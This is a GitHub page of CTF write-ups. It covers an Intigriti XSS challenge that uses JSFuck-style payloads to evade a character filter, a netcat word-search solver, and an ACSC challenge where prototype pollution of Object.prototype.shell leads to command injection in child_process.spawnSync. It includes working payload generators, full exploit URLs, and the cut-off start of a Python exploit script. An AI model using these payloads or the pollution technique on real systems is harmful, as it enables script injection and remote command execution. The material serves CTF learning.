aszx87410 / ctf-writeups Goto Github PK
View Code? Open in Web Editor NEWctf writeups
ctf writeups
這題就是給一個可以 nc 連進去的 ip + port,進去之後就會問你兩個問題
第一題是河內塔的移動次數,會給一個陣列,經過觀察之後只要求出2^陣列長度就好,我到現在還是不知道陣列內容是要幹嘛的
解完之後第二題是逆序數對數量,偷懶直接 O(n^2) 就行了
手動算會累死所以寫了一個腳本但我忘記放哪了...找到再補回來
challenge link: https://challenge-0521.intigriti.io/
There is a frame with src ./captcha.php
and that's all, so we need to look into this php file:
<body>
<form id="captcha">
<div id="input-fields">
<span id="a"></span>
<span id="b">+</span>
<input id="c" type="text" size="4" value="" required/>
=
<span id="d"></span>
<progress id="e" value="0" max="100" style="display:none"></progress>
</div>
<input type="submit" id="f"/>
<input type="button" onclick="setNewNumber()" value="Retry" id="g"/>
</form>
</body>
<script>
const a = document.querySelector("#a");
const c = document.querySelector("#c");
const b = document.querySelector("#b");
const d = document.querySelector("#d");
window.onload = function(){
setNewNumber();
document.getElementById("captcha").onsubmit = function(e){
e.preventDefault();
loadCalc(0);
};
}
function loadCalc(pVal){
document.getElementsByTagName("progress")[0].style.display = "block";
document.getElementsByTagName("progress")[0].value = pVal;
if(pVal == 100){
calc();
}
else{
window.setTimeout(function(){loadCalc(pVal + 1)}, 10);
}
}
function setNewNumber() {
document.getElementsByTagName("progress")[0].style.display = "none";
var dValue = Math.round(Math.random()*1000);
d.innerText = dValue;
a.innerText = Math.round(Math.random()* dValue);
}
function calc() {
const operation = a.innerText + b.innerText + c.value;
if (!operation.match(/[a-df-z<>()!\\='"]/gi)) { // Allow letter 'e' because: https://en.wikipedia.org/wiki/E_(mathematical_constant)
if (d.innerText == eval(operation)) {
alert("🚫🤖 Congratulations, you're not a robot!");
}
else {
alert("🤖 Sorry to break the news to you, but you are a robot!");
}
setNewNumber();
}
c.value = "";
}
</script>
When the user clicks the submit button, the input value will be sent to eval
function if there is no forbidden characters in the input value.
So we need to write a JavaScript program without a-df-z<>()!\='"
.
If you heard about JSFuck, yes, we can solve in a similar way.
Because we can't use alphabet directly, so we need to find a way to run the JavaScript dynamically, like eval
, Function
, setTimeout
and setInterval
.
Once we can use one of the above function, we can create our own function with whatever function body we want. Because function body is just a string, we can use their alternatives and put it together.
Like, `${0/0}`[1]
as an alternative to a
. This works because 0/0
produces NaN
and backtick cast it to a string.
Let's find out which function we should use.
There is no way to access eval
, setTimeout
and setInterval
if we can't access window
. But Function
is much easier to access because there are many ways to achieve it.
For example, []['constructor']['constructor']
. Once we have function constructor, we can create our own function and execute it, like below:
[]['constructor']['constructor']`_${'alert(1)'}```
You can run this on your console and see the alert. We use backtick for function call, two times. The first time is to create a function while the second is to execute it.
Someone might notice that there is a _
before ${alert(1)}
, it's because of how tagged templates works.
If we do []['constructor']['constructor']`${'alert(1)'}`
, the console will give us an error: Uncaught SyntaxError: Unexpected token ','
.
It's easier to see what's going on under the hood by creating a dummy function:
function print(...args){
console.log(args)
}
print`${'alert(1)'}` // [["", ""], "alert(1)"]
print`_${'alert(1)'}` // [["_", ""], "alert(1)"]
Without prefix _
, it's like calling function constructor with first parameter ,
, which is not a valid argument name.
But if we add _
(or any valid name for parameter), _,
is a valid syntax for argument because ,
is just a trailing comma.
After find out the goal:
[]['constructor']['constructor']`_${'alert(document.domain)'}```
The last thing we need to do is to find a way to generate those characters.
jsfuck is a good resource if you don't know where to start.
Here is the string I used:
1. `${``+{}}` => "[object Object]"
2. `${``[0]}` => "undefined"
3. `${e}` => "[object HTMLProgressElement]"
4. `${0/0}` => "NaN"
We can find all the replacement for our payload from the string above except (
and )
.
Where can we find these two characters? By casting a function to a string!
`${[]['constructor']}`
=> "function Array() { [native code] }"
By piece all the alternatives we found together plus a little bit of programming, we can generate the valid payload:
const mapping = {
a: '`${0/0}`[1]',
c: '`${``+{}}`[5]',
d: '`${``[0]}`[2]',
e: '`e`',
i: '`${``[0]}`[5]',
l: '`${e}`[21]',
m: '`${e}`[23]',
n: '`${``[0]}`[1]',
o: '`${``+{}}`[1]',
r: '`${e}`[13]',
s: '`${e}`[18]',
t: '`${``+{}}`[6]',
u: '`${``[0]}`[0]',
".": '`.`'
}
function getString(str) {
return str.split('').map(c => mapping[c] || 'error:' + c).join('+')
}
const cons = getString('constructor')
mapping['('] = '`${[][' + cons + ']}`[14]'
mapping[')'] = '`${[][' + cons + ']}`[15]'
const ans =
"[][" +
getString('constructor') +
"]["+
getString('constructor') +
"]`_${" +
getString('alert(document.domain)') +
"}```"
console.log(ans)
output(length 851):
[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${``+{}}`[6]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${``[0]}`[2]+`${``+{}}`[1]+`${``+{}}`[5]+`${``[0]}`[0]+`${e}`[23]+`e`+`${``[0]}`[1]+`${``+{}}`[6]+`.`+`${``[0]}`[2]+`${``+{}}`[1]+`${e}`[23]+`${0/0}`[1]+`${``[0]}`[5]+`${``[0]}`[1]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```
Copy and paste this paragraph and click submit, boom! XSS triggered!
After the success I submitted my answer and got a reply said it's self-XSS(yes it is, but I didn't notice that 😂 ), it also said that I can experiment more with php.
It's not hard to find that query string c
will be reflected on the page, so just add ?c=
and paste the payload(remember to url encode) to change it from self-XSS to one-click XSS and solve the challenge.
url:
https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${``%2b{}}`[6]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${``[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${``[0]}`[1]%2b`${``%2b{}}`[6]%2b`.`%2b`${``[0]}`[2]%2b`${``%2b{}}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}```
The story ends? No.
Pop an alert is not enough, I want to run any JavaScript on the page!
I just changed the payload to this:
[]['constructor']['constructor']`_${'eval(location.hash.slice(1))'}```
So we can run any JS code after hash tag on the URL.
In order to do this, we need to find the replacement for v
and h
.
It's a little bit difficult because we can't find it in the common string we used: undefined
, NaN
and [Object object]
.
For v
we can get it from any native function, like above, nati"v"e code
. But later I found that Firefox and Chrome output differently.
Chrome outputs: function RegExp() { [native code] }
and Firefox outputs function RegExp() {\n [native code]\n}
. Let's ignore it for now.
How about h
? We can get it by using toString
with radix 36: 17['toString']`36`
, and get S
from string constructor.
You may notice that at this point, we can actually generate any alphabet with num['toString']`36`
. For v
we can also use this.
So the final payload will be(length 1925):
[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]`_${`e`+31[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[21]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+`${e}`[21]+`${``+{}}`[1]+`${``+{}}`[5]+`${0/0}`[1]+`${``+{}}`[6]+`${``[0]}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`.`+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`${0/0}`[1]+`${e}`[18]+17[`${``+{}}`[6]+`${``+{}}`[1]+`${``[`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[9]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[5]+`${``[0]}`[1]+`${e}`[15]]`36`+`.`+`${e}`[18]+`${e}`[21]+`${``[0]}`[5]+`${``+{}}`[5]+`e`+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[14]+1+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]+`${[][`${``+{}}`[5]+`${``+{}}`[1]+`${``[0]}`[1]+`${e}`[18]+`${``+{}}`[6]+`${e}`[13]+`${``[0]}`[0]+`${``+{}}`[5]+`${``+{}}`[6]+`${``+{}}`[1]+`${e}`[13]]}`[15]}```
and the url is:
https://challenge-0521.intigriti.io/captcha.php?c=[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]`_${`e`%2b31[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b`${e}`[21]%2b`${``%2b{}}`[1]%2b`${``%2b{}}`[5]%2b`${0/0}`[1]%2b`${``%2b{}}`[6]%2b`${``[0]}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`.`%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`${0/0}`[1]%2b`${e}`[18]%2b17[`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${``[`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[9]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[5]%2b`${``[0]}`[1]%2b`${e}`[15]]`36`%2b`.`%2b`${e}`[18]%2b`${e}`[21]%2b`${``[0]}`[5]%2b`${``%2b{}}`[5]%2b`e`%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[14]%2b1%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]%2b`${[][`${``%2b{}}`[5]%2b`${``%2b{}}`[1]%2b`${``[0]}`[1]%2b`${e}`[18]%2b`${``%2b{}}`[6]%2b`${e}`[13]%2b`${``[0]}`[0]%2b`${``%2b{}}`[5]%2b`${``%2b{}}`[6]%2b`${``%2b{}}`[1]%2b`${e}`[13]]}`[15]}```#alert(document.domain)
It works perfectly on both Firefox and Chrome!
The last thing I want to do is to reduce the payload size. So I made following changes:
undefined
by e[0]
instead of ``[0], save 1 character.[object Object]
, ``+{} is redundant, use {}
only also works. Save 3 characters.e
as much as possible because it's shorter.We can also find the array method with the shortest length:
let min = 99
let winner = ''
for (let prop of Object.getOwnPropertyNames(Array.prototype)) {
const len = getString(prop).length
if (len < min) {
min = len
winner = prop
}
}
console.log(winner, min)
The winner is some
, so we will use it to replace []['constructor']
.
Also, we should use alert(document.domain)
as our payload instead of eval(location.hash.slice(1))
, save a lot of characters. Even eval(name)
is longer than alert()
because the cost to get v
is too high.
Below is the shortest payload I find, length 466:
length: 466
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`${0/0}`[1]+`${e}`[21]+`e`+`${e}`[13]+`${e}`[6]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e[0]}`[2]+`${e}`[1]+`${e}`[5]+`${e[0]}`[0]+`${e}`[23]+`e`+`${e}`[25]+`${e}`[6]+`.`+`${e[0]}`[2]+`${e}`[1]+`${e}`[23]+`${0/0}`[1]+`${e[0]}`[5]+`${e}`[25]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}```
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`${0/0}`[1]%2b`${e}`[21]%2b`e`%2b`${e}`[13]%2b`${e}`[6]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[5]%2b`${e[0]}`[0]%2b`${e}`[23]%2b`e`%2b`${e}`[25]%2b`${e}`[6]%2b`.`%2b`${e[0]}`[2]%2b`${e}`[1]%2b`${e}`[23]%2b`${0/0}`[1]%2b`${e[0]}`[5]%2b`${e}`[25]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```
The code I used to generate the payload:
const mapping = {
a: '`${0/0}`[1]',
b: '`${e}`[2]',
c: '`${e}`[5]',
d: '`${e[0]}`[2]',
e: '`e`',
f: '`${e[0]}`[4]',
g: '`${e}`[15]',
i: '`${e[0]}`[5]',
j: '`${e}`[3]',
l: '`${e}`[21]',
m: '`${e}`[23]',
n: '`${e}`[25]',
o: '`${e}`[1]',
r: '`${e}`[13]',
s: '`${e}`[18]',
t: '`${e}`[6]',
u: '`${e[0]}`[0]',
".": '`.`'
}
function getString(str) {
return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}
const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'
const cons = getString('constructor')
let strConstructor = '``['+ cons + ']'
strConstructor = '`${' + strConstructor + '}`'
const strToString = `${mapping.t}+${mapping.o}+${strConstructor}[9]+${mapping.t}+${mapping.r}+${mapping.i}+${mapping.n}+${mapping.g}`
mapping.v = '31[' + strToString + ']`36`'
const ans =
"[][" +
getString('some') +
"]["+
getString('constructor') +
"]`_${" +
getString('alert(document.domain)') +
"}```"
console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))
Remember the "v" issue? The cost is too high to get v to construct the payload eval(name)
.
It's because Firefox and Chrome produce different result:
[]['some']+''
// Chrome
"function some() { [native code] }"
v: index 23
// Firefox
"function some() {
[native code]
}"
v: index 27
We can ignore this issue for now and target Chrome only, the result is:
length: 376
======= Payload =======
[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`][`${e}`[5]+`${e}`[1]+`${e}`[25]+`${e}`[18]+`${e}`[6]+`${e}`[13]+`${e[0]}`[0]+`${e}`[5]+`${e}`[6]+`${e}`[1]+`${e}`[13]]`_${`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[23]+`${0/0}`[1]+`${e}`[21]+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[13]+`${e}`[25]+`${0/0}`[1]+`${e}`[23]+`e`+`${[][`${e}`[18]+`${e}`[1]+`${e}`[23]+`e`]}`[14]}```
======= URL =======
https://challenge-0521.intigriti.io/captcha.php?c=[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`][`${e}`[5]%2b`${e}`[1]%2b`${e}`[25]%2b`${e}`[18]%2b`${e}`[6]%2b`${e}`[13]%2b`${e[0]}`[0]%2b`${e}`[5]%2b`${e}`[6]%2b`${e}`[1]%2b`${e}`[13]]`_${`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[23]%2b`${0/0}`[1]%2b`${e}`[21]%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[13]%2b`${e}`[25]%2b`${0/0}`[1]%2b`${e}`[23]%2b`e`%2b`${[][`${e}`[18]%2b`${e}`[1]%2b`${e}`[23]%2b`e`]}`[14]}```
It's 376, reduce about 100 characters compare to the previous result 466.
The code I used to generate:
const mapping = {
a: '`${0/0}`[1]',
b: '`${e}`[2]',
c: '`${e}`[5]',
d: '`${e[0]}`[2]',
e: '`e`',
f: '`${e[0]}`[4]',
g: '`${e}`[15]',
i: '`${e[0]}`[5]',
j: '`${e}`[3]',
l: '`${e}`[21]',
m: '`${e}`[23]',
n: '`${e}`[25]',
o: '`${e}`[1]',
r: '`${e}`[13]',
s: '`${e}`[18]',
t: '`${e}`[6]',
u: '`${e[0]}`[0]',
".": '`.`'
}
function getString(str) {
return str.split('').map(c => mapping[c] || 'errorerror:' + c).join('+')
}
const some = getString('some')
mapping['('] = '`${[][' + some + ']}`[13]'
mapping[')'] = '`${[][' + some + ']}`[14]'
mapping.v = '`${[][' + getString('some') + ']}`[23]'
const ans =
"[][" +
getString('some') +
"]["+
getString('constructor') +
"]`_${" +
getString('eval(name)') +
"}```"
console.log('length:', ans.length)
console.log('======= Payload =======')
console.log(ans)
console.log('======= URL =======')
console.log('https://challenge-0521.intigriti.io/captcha.php?c=' + ans.replace(/\+/g, '%2b'))
Tired of finding bugs and exploiting vulnerabilities? Want a classic brain buster instead? Why not play a wordsearch -- in fact, why not play thirty word searches!!
Nothing special, just parse strings and find the answer. The only problem is I am not familiar with the rules, I found that the coordinate can be a negative number. I thought it's a bug but it turns out it's valid.
var NetcatClient = require('node-netcat').client;
var client = NetcatClient(32332, 'challenge.ctf.games');
client.on('open', function () {
console.log('connect');
});
let stage = 'before_start'
let board = []
let problem = null
let buffer = []
let timer = null
// x, y
let dir = [
[-1, 1],
[0, 1],
[1, 1],
[-1, -1],
[-1, 0],
[0, -1],
[1, -1],
[1, 0],
]
function isAns(board, x, y, problem) {
if (board[y][x] !== problem[0]) return null
if (problem.length === 1) {
return `[(${x},${y})]`
}
let steps = []
let isFound = false
for(let d of dir) {
let nowX = x
let nowY = y
let stepX = x
let stepY = y
let count = 1
steps.push([x,y])
while(true) {
nowX += d[0];stepX += d[0]
nowY += d[1];stepY += d[1]
if (nowX === -1) { nowX = 15 }
if (nowX === 16) { nowX = 0 }
if (nowY === -1) { nowY = 15 }
if (nowY === 16) { nowY = 0 }
if (board[nowY] && board[nowY][nowX] === problem[count]) {
count++
steps.push([stepX,stepY])
if (count === problem.length) {
isFound = true
break
}
} else {
break
}
}
if (isFound) {
break
} else {
steps = []
}
}
if (!isFound) {
return null
}
console.log('found ans!')
const aaa = '[' + steps.map(arr => `(${arr[0]}, ${arr[1]})`).join(', ') + ']'
console.log(aaa)
return aaa
}
function findAns() {
for(let y=0; y<board.length; y++) {
for(let x=0; x<board[y].length; x++) {
if (board[y][x] !== problem[0]){
continue
}
//console.log('log:', x, y)
let result = isAns(board, x, y, problem)
if (result) {
return result
}
}
}
}
function parseBoard() {
board = board.filter(row => row !== '')
const lastIndex = board.findIndex(row => row.includes('---') && row.length < 10)
board = board.slice(2, lastIndex)
board = board.map(row => {
let r = row.replace(/\s/g, '').split('|')[1]
return r
})
}
function handler() {
if (stage === 'before_start' && buffer.includes('> ')) {
stage = 'receiving_board'
client.send('play\n')
buffer = []
return
}
if (stage === 'receiving_board') {
stage = 'receiving_problem'
board = []
let index = buffer.findIndex(line => line.includes(': X'))
for(let i=index; i<buffer.length; i++) {
board.push(buffer[i])
}
parseBoard()
console.log('[log] board:')
console.log(board)
let p = buffer[buffer.length - 1]
problem = p.replace(/[:> \n\t]/g, '')
console.log('[log] problem:', problem, problem.length)
client.send(findAns() + "\n")
buffer = []
return
}
if (stage === 'receiving_problem') {
if (buffer.find(l => l.includes('Onto the'))) {
console.log('[log] next level')
stage = 'receiving_board'
handler()
return
}
problem = buffer.join('').replace(/[:> \n\t]/g, '')
console.log('[log] problem:', problem, problem.length)
client.send(findAns() + "\n")
buffer = []
return
}
}
client.on('data', function (data) {
let str = data.toString('ascii')
let lines = str.split('\n')
console.log(str)
buffer.push(...lines)
clearTimeout(timer)
timer = null
timer = setTimeout(handler, 1000)
});
client.on('error', function (err) {
console.log(err);
});
client.on('close', function () {
console.log('close');
});
client.start();
Enjoy your cowsay life with our Cowsay as a Service!
You can spawn your private instance from https://cowsay-as-a-service.chal.acsc.asia/.
Notice: Please do not spawn too many instances since our server resource is limited.
You can check the source code and run it in your local machine before do that.
Each instances are alive only for 5 minutes.
But don't worry! You can spawn again even if your instance expired.
Source code:
import Koa from 'koa';
import Router from '@koa/router';
import auth from 'koa-basic-auth';
import bodyParser from 'koa-bodyparser';
import child_process from 'child_process';
const settings = {};
const style = `<style>
body { padding: 2rem; }
.form input[type=text] { padding: .5rem 1rem; font-size: 1rem; display: block; margin-bottom: 1rem; }
.form input[type=submit] { display: block; margin-bottom: 1rem; color: #fff; background-color: #000; padding: .5rem 1rem; font-size: 1rem; border: none; }
.color-setting { margin-bottom: 1rem; }
.cowsay { font-size: 2rem; background: #beead6; padding: 0.5rem 1rem; }
</style>`;
const app = new Koa();
const router = new Router();
// basic auth
if (process.env.CS_USERNAME && process.env.CS_PASSWORD) {
app.use(auth({
name: process.env.CS_USERNAME,
pass: process.env.CS_PASSWORD
}))
}
app.use(async (ctx, next) => {
ctx.state.user = ctx.cookies.get('username');
await next();
});
router.get('/', (ctx, next) => {
ctx.body = `
${style}
<h1>Welcome to Cowsay as a Service</h1>
<p>Before start the service, please enter your name.</p>
<form action="/cowsay" method="GET" class="form">
<input type="text" name="user" placeholder="Username">
<input type="submit" value="Login">
</form>
<script>
document.querySelector('form').addEventListener('submit', () => {
const username = document.querySelector('input[name="user"]').value;
document.cookie = 'username=' + username;
});
</script>
`;
next();
});
router.get('/cowsay', (ctx, next) => {
const setting = settings[ctx.state.user];
const color = setting?.color || '#000000';
let cowsay = '';
if (ctx.request.query.say) {
const result = child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
cowsay = result.stdout.toString();
}
ctx.body = `
${style}
<h1>Cowsay as a Service</h1>
<details class="color-setting">
<summary>Color Preferences</summary>
<form action="/setting/color" method="POST">
<input type="color" name="value" value="${color}">
<input type="submit" value="Change Color">
</form>
</details>
<form action="/cowsay" method="GET" class="form">
<input type="text" name="say" placeholder="hello">
<input type="submit" value="Say">
</form>
<pre style="color: ${color}" class="cowsay">
${cowsay}
</pre>
`;
});
router.post('/setting/:name', (ctx, next) => {
if (!settings[ctx.state.user]) {
settings[ctx.state.user] = {};
}
const setting = settings[ctx.state.user];
setting[ctx.params.name] = ctx.request.body.value;
ctx.redirect('/cowsay');
});
app.use(bodyParser());
app.use(router.routes());
app.use(router.allowedMethods());
app.listen(3000);
It's obviously that there is a prototype pollution vulnerability:
app.use(async (ctx, next) => {
ctx.state.user = ctx.cookies.get('username');
await next();
});
router.post('/setting/:name', (ctx, next) => {
if (!settings[ctx.state.user]) {
settings[ctx.state.user] = {};
}
const setting = settings[ctx.state.user];
setting[ctx.params.name] = ctx.request.body.value;
ctx.redirect('/cowsay');
});
We can send cookie=__proto__
so setting = settings["__proto__"]
which is Object.prototype
. Then, we can set key via ctx.params.name
and value via ctx.request.body.value
to achieve prototype pollution.
So, the question is, what can we do then?
The core function for this challenge is this line: child_process.spawnSync('/usr/games/cowsay', [ctx.request.query.say], { timeout: 500 });
, so I guess it's the key.
I checked the nodejs docs, there is one line got my attention:
If the shell option is enabled, do not pass unsanitized user input to this function. Any input containing shell metacharacters may be used to trigger arbitrary command execution.
Let's try it:
const child_process = require('child_process');
const a = {}
a.__proto__.shell = true
const result = child_process.spawnSync('echo', ["test && pwd"], {
timeout: 500
});
cowsay = result.stdout.toString();
console.log(cowsay)
// output:
// test
// /home/user
After polluted Object.prototype.shell
, we can do command injection!
There is one more thing, we need to let shell=true
not shell="true"
so application/x-www-form-urlencoded
doesn't work, we need to send application/json
instead.
Exploit:
import requests
url = "http://rlefNLPChRZbKjuE:[email protected]:62802"
headers = {
'Content-Type': 'application/json',
'Cookie': 'username=__proto__'
}
payload = {
"value": True
}
